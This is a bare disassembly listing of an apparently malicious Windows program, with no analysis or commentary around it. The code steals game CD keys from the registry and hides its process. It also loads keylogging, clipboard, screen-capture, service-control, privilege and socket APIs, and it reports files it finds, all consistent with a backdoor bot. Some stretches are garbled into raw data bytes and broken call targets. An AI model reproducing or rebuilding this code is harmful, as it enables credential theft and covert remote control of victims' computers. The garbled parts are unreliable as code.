push dword ptr [ebp-3Ch]
mov ebx, eax
movzx eax, word ptr [ebp-22h]
push eax
mov [ebp-28h], esi
push dword ptr [ebp-20h]
call ds:dword_42F794
push eax
lea eax, [ebp-2D4h]
push offset unk_423D9C
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2D4h]
push 11h
push eax
call sub_413059
mov [ebp-38h], eax
imul eax, 234h
mov ecx, [ebp-3Ch]
add esp, 20h
mov ds:dword_43489C[eax], ecx
lea eax, [ebp+8]
push eax
lea eax, [ebp-0D4h]
push esi
push eax
push offset loc_4066B7
push esi
push esi
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-38h]
imul ecx, 234h
cmp eax, esi
mov ds:dword_4348AC[ecx], eax
jz short loc_406634
loc_406621: ; CODE XREF: seg000:00406632j
cmp [ebp-28h], esi
jnz loc_40658D
push 5
call ds:dword_41F058 ; Sleep
jmp short loc_406621
; ---------------------------------------------------------------------------
loc_406634: ; CODE XREF: seg000:0040661Fj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2D4h]
push offset unk_423D50
push eax
call sub_4135AD
add esp, 0Ch
jmp loc_40658D
; ---------------------------------------------------------------------------
loc_406654: ; CODE XREF: seg000:0040652Dj
; seg000:0040653Ej
push edi
call ds:dword_42F7A0
push dword ptr [ebp-40h]
lea eax, [ebp-2D4h]
push offset unk_423D0C
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_406697
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_4110B0
add esp, 14h
loc_406697: ; CODE XREF: seg000:00406675j
lea eax, [ebp-2D4h]
push eax
call sub_409615
push dword ptr [ebp-3Ch]
call sub_413375
pop ecx
pop ecx
push esi
call near ptr 0A70000h
mov ebx, [edi+5Eh]
pop ebx
loc_4066B7: ; DATA XREF: seg000:00406601o
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp-0C8h]
rep movsd
mov esi, [ebp-2Ch]
push 1
mov [ebp+8], esi
imul esi, 234h
pop edi
lea esi, dword_4348A4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov dword ptr [ebp-8], 5
mov [ebp-5D0h], eax
lea eax, [ebp-8]
push eax
push ebx
lea eax, [ebp-5D4h]
push ebx
push eax
push ebx
mov [ebp-4], ebx
mov [ebp-5D4h], edi
call ds:dword_42F6F0
test eax, eax
jnz short near ptr loc_406737+1
push dword ptr [esi]
call ds:dword_42F7A0
push dword ptr [ebp+8]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
loc_406737: ; CODE XREF: seg000:0040671Ej
and edx, [ebx-73h]
test [eax], esi
sti
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 68h
dd 408h, 0FF36FF50h, 42F72015h, 7FC08500h, 0FF36FF18h
dd 42F7A015h, 875FF00h, 0CC14E8h, 0E8535900h, 669898h
dd 30BD807Dh, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0D238h, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 3ED46850h, 0D6E80042h, 6800002Eh, 400h
dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
dd 0CE5EE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
dd 5815FF36h, 0FF0042F7h, 0A015FF36h, 0FF0042F7h, 7EE80875h
dd 590000CBh, 9802E853h, 6AF80066h, 0E8458D10h, 25E85053h
dd 660000CEh, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 8815FFECh
dd 8B0042F7h, 0FFFF83F8h, 15FF5D75h, 42F69Ch, 3E846850h
dd 3EE80042h, 6800002Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 0CDC6E85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 5815FF36h, 0FF0042F7h, 0A015FF36h
dd 0FF0042F7h, 0E6E80875h, 590000CAh, 976AE853h, 8D910066h
dd 106AE845h, 15FF5750h, 42F6B0h, 75FFF883h, 9C15FF5Dh
dd 500042F6h, 423E3068h, 2DCFE800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 0CD57E8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0F75815FFh, 36FF0042h, 0F7A015FFh, 75FF0042h, 0CA77E808h
dd 53590000h, 6696FBE8h, 686500h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 0CD0BE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0F75815FFh
dd 36FF0042h, 39E857h, 59590000h, 0A015FF57h, 0FF0042F7h
dd 0A015FF36h, 0FF0042F7h, 1AE80875h, 590000CAh, 969EE853h
dd 0FF5F0066h, 0A015FF36h, 0FF0042F7h, 2E80875h, 590000CAh
dd 9686E853h
db 66h, 0, 76h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_406991: ; CODE XREF: seg000:00406A40j
; seg000:00406A70j
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4069A9: ; CODE XREF: seg000:004069B7j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4069B9
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4069A9
loc_4069B9: ; CODE XREF: seg000:004069AEj
cmp ecx, 1
jnz short loc_4069CE
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4069CE: ; CODE XREF: seg000:004069BCj
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_413630
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call ds:dword_42F6F0
lea eax, [ebp-104h]
push eax
push ebx
call ds:dword_42F600
test eax, eax
jz short loc_406A2E
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call ds:dword_42F720
cmp eax, 0FFFFFFFFh
jz short loc_406A76
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jz short loc_406A76
loc_406A2E: ; CODE XREF: seg000:00406A00j
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call ds:dword_42F600
test eax, eax
jz loc_406991
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_42F720
cmp eax, 0FFFFFFFFh
jz short loc_406A76
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jnz loc_406991
loc_406A76: ; CODE XREF: seg000:00406A15j
; seg000:00406A2Cj ...
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A7B proc near ; CODE XREF: seg000:0041060Fp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp ds:off_423F2C, ebx
mov [ebp+var_C], 80h
jz loc_406C2D
push esi
push edi
mov eax, offset off_423F2C
mov esi, offset dword_423F38
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_406AAB: ; CODE XREF: sub_406A7B+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_42F778
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_42F614
test eax, eax
jnz loc_406C13
mov eax, [esi]
cmp eax, ebx
jz loc_406BD7
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4135AD
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_413CA8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_406C13
push eax
loc_406B24: ; CODE XREF: sub_406A7B+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_4151CC
add esp, 0Ch
test eax, eax
jz loc_406BCC
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_406B51
push [ebp+var_8]
jmp short loc_406B24
; ---------------------------------------------------------------------------
loc_406B51: ; CODE XREF: sub_406A7B+CFj
push 3Dh
push dword ptr [esi+4]
call sub_415110
pop ecx
test eax, eax
pop ecx
jz short loc_406B90
lea eax, [ebp+var_70]
push offset asc_425130 ; "="
push eax
call sub_414D28
push offset asc_425130 ; "="
push ebx
call sub_414D28
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4135AD
add esp, 20h
jmp short loc_406BA7
; ---------------------------------------------------------------------------
loc_406B90: ; CODE XREF: sub_406A7B+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4135AD
add esp, 10h
loc_406BA7: ; CODE XREF: sub_406A7B+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
lea eax, [ebp+var_2F0]
push eax
call sub_409615
add esp, 18h
loc_406BCC: ; CODE XREF: sub_406A7B+B9j
push [ebp+var_8]
call sub_413C00
pop ecx
jmp short loc_406C13
; ---------------------------------------------------------------------------
loc_406BD7: ; CODE XREF: sub_406A7B+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4135AD
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
lea eax, [ebp+var_2F0]
push eax
call sub_409615
add esp, 28h
loc_406C13: ; CODE XREF: sub_406A7B+60j
; sub_406A7B+A2j ...
push [ebp+var_4]
call ds:dword_42F6E4
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_406AAB
pop edi
pop esi
loc_406C2D: ; CODE XREF: sub_406A7B+19j
pop ebx
leave
retn
sub_406A7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406C30 proc near ; DATA XREF: seg000:0040EF7Co
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_413DB0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_406C85
lea eax, [ebp+var_114]
push eax
call sub_413DB0
pop ecx
mov [ebp+eax+var_115], bl
loc_406C85: ; CODE XREF: sub_406C30+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_425188
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_413B2A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_406CCA
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_4110B0
add esp, 14h
loc_406CCA: ; CODE XREF: sub_406C30+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call near ptr loc_406D44+4
push eax
lea eax, [ebp+var_49C]
push offset unk_425154
push eax
call sub_4135AD
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_406D28
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_4110B0
add esp, 14h
loc_406D28: ; CODE XREF: sub_406C30+D6j
lea eax, [ebp+var_49C]
push eax
call sub_409615
push [ebp+var_10]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
loc_406D44: ; CODE XREF: sub_406C30+B9p
; seg000:00406DE6p
test eax, 555B5E5Fh
sub_406C30 endp ; sp-analysis failed
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push dword ptr [ebp+18h]
lea eax, [ebp-248h]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_413B2A
mov edi, ds:dword_41F090
add esp, 10h
lea eax, [ebp-144h]
push eax
lea eax, [ebp-248h]
push eax
call edi ; dword_41F090
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_406E05
loc_406D94: ; CODE XREF: seg000:00406E03j
test byte ptr [ebp-144h], 10h
jz short loc_406DF1
cmp byte ptr [ebp-118h], 2Eh
jnz short loc_406DB8
cmp byte ptr [ebp-117h], 0
jz short loc_406DF1
cmp byte ptr [ebp-117h], 2Eh
jz short loc_406DF1
loc_406DB8: ; CODE XREF: seg000:00406DA4j
lea eax, [ebp-118h]
push eax
lea eax, [ebp-34Ch]
push dword ptr [ebp+18h]
push ebx
push esi
push eax
call sub_413B2A
push dword ptr [ebp+1Ch]
lea eax, [ebp-34Ch]
push eax
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr loc_406D44+4
add esp, 2Ch
mov [ebp+1Ch], eax
loc_406DF1: ; CODE XREF: seg000:00406D9Bj
; seg000:00406DADj ...
lea eax, [ebp-144h]
push eax
push dword ptr [ebp-4]
call ds:dword_41F08C ; FindNextFileA
test eax, eax
jnz short loc_406D94
loc_406E05: ; CODE XREF: seg000:00406D92j
push dword ptr [ebp-4]
call near ptr 0A70000h
; ---------------------------------------------------------------------------
db 0Fh, 0FFh, 75h
dd 0B8858D14h, 0FFFFFFFDh, 56531875h, 0CD08E850h, 0C4830000h
dd 0BC858D14h, 50FFFFFEh, 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h
dd 4F74FFFEh
; ---------------------------------------------------------------------------
loc_406E3C: ; CODE XREF: seg000:00406E89j
lea eax, [ebp-118h]
inc dword ptr [ebp+1Ch]
push eax
lea eax, [ebp-54Ch]
push dword ptr [ebp+18h]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_413B2A
push 1
lea eax, [ebp-54Ch]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4110B0
add esp, 28h
lea eax, [ebp-144h]
push eax
push esi
call ds:dword_41F08C ; FindNextFileA
test eax, eax
jnz short loc_406E3C
push esi
; ---------------------------------------------------------------------------
dd 66916FE8h, 458B8A00h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_406E9A proc near ; CODE XREF: seg000:0040AB68p
push ebx
push ebp
mov ebp, ds:dword_41F0B4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; dword_41F0B4
mov esi, ds:dword_41F0B0
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_406FBA
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; dword_41F0B0
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_42F7B4, eax
call esi ; dword_41F0B0
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_42F728, eax
call esi ; dword_41F0B0
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_42F70C, eax
call esi ; dword_41F0B0
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_42F628, eax
call esi ; dword_41F0B0
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_42F5D4, eax
call esi ; dword_41F0B0
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_42F604, eax
call esi ; dword_41F0B0
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_42F678, eax
call esi ; dword_41F0B0
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_42F768, eax
call esi ; dword_41F0B0
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_42F7C4, eax
call esi ; dword_41F0B0
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_42F634, eax
call esi ; dword_41F0B0
cmp ds:dword_42F7B4, ebx
mov ds:dword_42F61C, eax
jz short loc_406F98
cmp ds:dword_42F728, ebx
jz short loc_406F98
cmp ds:dword_42F70C, ebx
jz short loc_406F98
cmp ds:dword_42F628, ebx
jz short loc_406F98
cmp ds:dword_42F604, ebx
jz short loc_406F98
cmp ds:dword_42F678, ebx
jz short loc_406F98
cmp ds:dword_42F768, ebx
jz short loc_406F98
cmp ds:dword_42F7C4, ebx
jz short loc_406F98
cmp ds:dword_42F634, ebx
jz short loc_406F98
cmp eax, ebx
jnz short loc_406FA2
loc_406F98: ; CODE XREF: sub_406E9A+B8j
; sub_406E9A+C0j ...
mov ds:dword_42F7C8, 1
loc_406FA2: ; CODE XREF: sub_406E9A+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; dword_41F0B0
cmp eax, ebx
mov ds:dword_42F740, eax
jz short loc_406FCF
push 1
push ebx
call eax
jmp short loc_406FCF
; ---------------------------------------------------------------------------
loc_406FBA: ; CODE XREF: sub_406E9A+1Dj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7CC, eax
mov ds:dword_42F7C8, 1
loc_406FCF: ; CODE XREF: sub_406E9A+117j
; sub_406E9A+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_41F0AC ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4070E4
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; dword_41F0B0
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_42F764, eax
call esi ; dword_41F0B0
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_42F714, eax
call esi ; dword_41F0B0
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_42F6A8, eax
call esi ; dword_41F0B0
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_42F7B8, eax
call esi ; dword_41F0B0
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_42F6D8, eax
call esi ; dword_41F0B0
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_42F6F8, eax
call esi ; dword_41F0B0
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_42F75C, eax
call esi ; dword_41F0B0
cmp ds:dword_42F764, ebx
mov ds:dword_42F650, eax
jz short loc_407088
cmp ds:dword_42F714, ebx
jz short loc_407088
cmp ds:dword_42F6A8, ebx
jz short loc_407088
cmp ds:dword_42F7B8, ebx
jz short loc_407088
cmp ds:dword_42F6D8, ebx
jz short loc_407088
cmp ds:dword_42F6F8, ebx
jz short loc_407088
cmp ds:dword_42F75C, ebx
jz short loc_407088
cmp eax, ebx
jnz short loc_407092
loc_407088: ; CODE XREF: sub_406E9A+1B8j
; sub_406E9A+1C0j ...
mov ds:dword_42F7D0, 1
loc_407092: ; CODE XREF: sub_406E9A+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; dword_41F0B0
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_42F6D4, eax
call esi ; dword_41F0B0
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_42F5E8, eax
call esi ; dword_41F0B0
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_42F6A4, eax
call esi ; dword_41F0B0
cmp ds:dword_42F6D4, ebx
mov ds:dword_42F690, eax
jz short loc_4070EF
cmp ds:dword_42F5E8, ebx
jz short loc_4070EF
cmp ds:dword_42F6A4, ebx
jz short loc_4070EF
cmp eax, ebx
jnz short loc_4070F9
jmp short loc_4070EF
; ---------------------------------------------------------------------------
loc_4070E4: ; CODE XREF: sub_406E9A+144j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7D4, eax
loc_4070EF: ; CODE XREF: sub_406E9A+232j
; sub_406E9A+23Aj ...
mov ds:dword_42F7D0, 1
loc_4070F9: ; CODE XREF: sub_406E9A+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; dword_41F0B4
mov edi, eax
cmp edi, ebx
jz loc_407294
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; dword_41F0B0
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_42F778, eax
call esi ; dword_41F0B0
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_42F6BC, eax
call esi ; dword_41F0B0
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_42F72C, eax
call esi ; dword_41F0B0
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_42F614, eax
call esi ; dword_41F0B0
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_42F674, eax
call esi ; dword_41F0B0
cmp ds:dword_42F778, ebx
mov ds:dword_42F6E4, eax
jz short loc_407184
cmp ds:dword_42F6BC, ebx
jz short loc_407184
cmp ds:dword_42F72C, ebx
jz short loc_407184
cmp ds:dword_42F614, ebx
jz short loc_407184
cmp ds:dword_42F674, ebx
jz short loc_407184
cmp eax, ebx
jnz short loc_40718E
loc_407184: ; CODE XREF: sub_406E9A+2C4j
; sub_406E9A+2CCj ...
mov ds:dword_42F7D8, 1
loc_40718E: ; CODE XREF: sub_406E9A+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; dword_41F0B0
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_42F6EC, eax
call esi ; dword_41F0B0
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_42F6C4, eax
call esi ; dword_41F0B0
cmp ds:dword_42F6EC, ebx
mov ds:dword_42F774, eax
jz short loc_4071C9
cmp ds:dword_42F6C4, ebx
jz short loc_4071C9
cmp eax, ebx
jnz short loc_4071D3
loc_4071C9: ; CODE XREF: sub_406E9A+321j
; sub_406E9A+329j
mov ds:dword_42F7D8, 1
loc_4071D3: ; CODE XREF: sub_406E9A+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; dword_41F0B0
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_42F6FC, eax
call esi ; dword_41F0B0
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_42F5F0, eax
call esi ; dword_41F0B0
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_42F5F8, eax
call esi ; dword_41F0B0
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_42F658, eax
call esi ; dword_41F0B0
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_42F65C, eax
call esi ; dword_41F0B0
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_42F60C, eax
call esi ; dword_41F0B0
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_42F6C8, eax
call esi ; dword_41F0B0
cmp ds:dword_42F6FC, ebx
mov ds:dword_42F5FC, eax
jz short loc_407277
cmp ds:dword_42F5F0, ebx
jz short loc_407277
cmp ds:dword_42F5F8, ebx
jz short loc_407277
cmp ds:dword_42F658, ebx
jz short loc_407277
cmp ds:dword_42F65C, ebx
jz short loc_407277
cmp ds:dword_42F60C, ebx
jz short loc_407277
cmp ds:dword_42F6C8, ebx
jz short loc_407277
cmp eax, ebx
jnz short loc_407281
loc_407277: ; CODE XREF: sub_406E9A+3A7j
; sub_406E9A+3AFj ...
mov ds:dword_42F7D8, 1
loc_407281: ; CODE XREF: sub_406E9A+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; dword_41F0B0
cmp eax, ebx
mov ds:dword_42F5F4, eax
jnz short loc_4072A9
jmp short loc_40729F
; ---------------------------------------------------------------------------
loc_407294: ; CODE XREF: sub_406E9A+26Aj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7DC, eax
loc_40729F: ; CODE XREF: sub_406E9A+3F8j
mov ds:dword_42F7D8, 1
loc_4072A9: ; CODE XREF: sub_406E9A+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; dword_41F0B4
mov edi, eax
cmp edi, ebx
jz loc_407375
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; dword_41F0B0
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_42F6F4, eax
call esi ; dword_41F0B0
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_42F74C, eax
call esi ; dword_41F0B0
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_42F754, eax
call esi ; dword_41F0B0
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_42F710, eax
call esi ; dword_41F0B0
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_42F638, eax
call esi ; dword_41F0B0
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_42F5E4, eax
call esi ; dword_41F0B0
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_42F750, eax
call esi ; dword_41F0B0
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_42F5D0, eax
call esi ; dword_41F0B0
cmp ds:dword_42F6F4, ebx
mov ds:dword_42F66C, eax
jz short loc_407380
cmp ds:dword_42F74C, ebx
jz short loc_407380
cmp ds:dword_42F754, ebx
jz short loc_407380
cmp ds:dword_42F710, ebx
jz short loc_407380
cmp ds:dword_42F638, ebx
jz short loc_407380
cmp ds:dword_42F5E4, ebx
jz short loc_407380
cmp ds:dword_42F750, ebx
jz short loc_407380
cmp ds:dword_42F5D0, ebx
jz short loc_407380
cmp eax, ebx
jnz short loc_40738A
jmp short loc_407380
; ---------------------------------------------------------------------------
loc_407375: ; CODE XREF: sub_406E9A+41Aj
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_42F7E4, eax
loc_407380: ; CODE XREF: sub_406E9A+49Bj
; sub_406E9A+4A3j ...
mov ds:dword_42F7E0, 1
loc_40738A: ; CODE XREF: sub_406E9A+4D7j
mov ebp, ds:dword_41F0AC
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; dword_41F0AC
mov edi, eax
cmp edi, ebx
jz loc_407646
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; dword_41F0B0
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_42F680, eax
call esi ; dword_41F0B0
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_42F7AC, eax
call esi ; dword_41F0B0
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_42F624, eax
call esi ; dword_41F0B0
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_42F600, eax
call esi ; dword_41F0B0
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_42F6B4, eax
call esi ; dword_41F0B0
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_42F69C, eax
call esi ; dword_41F0B0
push offset aSocket ; "socket"
push edi
mov ds:dword_42F668, eax
call esi ; dword_41F0B0
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_42F788, eax
call esi ; dword_41F0B0
push offset aConnect ; "connect"
push edi
mov ds:dword_42F7A4, eax
call esi ; dword_41F0B0
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_42F6B0, eax
call esi ; dword_41F0B0
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_42F794, eax
call esi ; dword_41F0B0
push offset aHtons ; "htons"
push edi
mov ds:dword_42F748, eax
call esi ; dword_41F0B0
push offset aHtonl ; "htonl"
push edi
mov ds:dword_42F708, eax
call esi ; dword_41F0B0
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_42F704, eax
call esi ; dword_41F0B0
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_42F644, eax
call esi ; dword_41F0B0
push offset aSend ; "send"
push edi
mov ds:dword_42F63C, eax
call esi ; dword_41F0B0
push offset aSendto ; "sendto"
push edi
mov ds:dword_42F758, eax
call esi ; dword_41F0B0
push offset aRecv ; "recv"
push edi
mov ds:dword_42F76C, eax
call esi ; dword_41F0B0
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_42F720, eax
call esi ; dword_41F0B0
